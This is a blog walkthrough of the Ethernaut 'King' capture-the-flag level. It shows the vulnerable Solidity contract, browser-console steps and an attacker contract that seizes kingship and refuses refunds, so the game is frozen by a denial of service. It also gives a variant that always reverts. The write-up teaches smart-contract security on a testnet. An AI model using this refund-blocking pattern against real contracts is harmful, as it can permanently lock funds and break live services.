King - Level 09
Stefan Alfbo
Posted on September 11, 2023
Problem statement
The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD
Such a fun game. Your goal is to break it.
When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract King {
address king;
uint public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
}
Solution
Start with creating a new contract for the current level by clicking on the button, Get new instance. Remember to have enough eth in the connected wallet and that it's connected to the Sepolia network.
Open up the developer tool in your browser (F12) and get the contract address, by executing this code in the console window.
await contract.address
We also need to see the prize of the current king.
await web3.eth.getStorageAt(contract.address, 1).then(n => web3.utils.hexToNumber(n))
Keep the contract.address
and the prize
close by.
Open a new tab in your browser (Ctrl+t) and go to Remix.
In the file explorer, create a new file and name it HackTheKing.sol, and paste this code to the contract.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;
contract HackTheKing {
event Result(bool success, bytes data);
address payable king_address;
uint public war_chest;
constructor(address payable _address) payable {
king_address = _address;
war_chest = msg.value;
}
function take_the_crown() public {
(bool result, bytes memory data) = king_address.call{value: war_chest}("");
emit Result(result, data);
}
}
Go to the compiler and compile the new contract, HackTheKing.sol.
Next, deploy it to the Sepolia network, make sure that you select the correct environment, Injected Provider - MetaMask, set the value higher than the current prize and give the correct contract address, _ADDRESS. When that is in place, click the button transact and verify and sign the transaction with your wallet.
Lets take the crown. Still in the DEPLOY & RUN TRANSACTIONS
view, click on the button take_the_crown and sign the transaction.
When the transaction has been completed jump over to the console window on the ethernaut page and verify that your contract in Remix is the king.
await contract._king()
If true, then finish up the challenge by clicking on the button, Submit instance, to commit and update the progress on the ethernaut contract.
Explanation
We need to find a way to make it impossible for the King contract to do a transfer back to the current king.
It is not possible to use an Externally-Owned Account (EOA) in this case since that gives us no tools to stop the contract from transfer back the amount of wei used in the transaction. That leads us to use a contract instead as a player. The mission is only to make sure that the King contract is not the king.
If we recall the challenge, Force - Level 07, it taught us that we can create a contract that makes it difficult to send ether to.
By creating a contract that can't receive any ether (unless using the methods from Level 07, which is not likely in this case) we can beat the King contract.
One another approach would have been to create a contract that has a receive function that will always fail, something like this.
receive() external payable {
revert("I don't want your ether");
}
Finally the message from level author. The links are included in the resources section below.
Resources
- King - This challenge
- Remix - Web based IDE for Solidity
- Solidity - Solidity documentation
- King of the Ether
- King of the Ether Postmortem
Posted on September 11, 2023
Join Our Newsletter. No Spam, Only the good stuff.
Sign up to receive the latest update from our blog.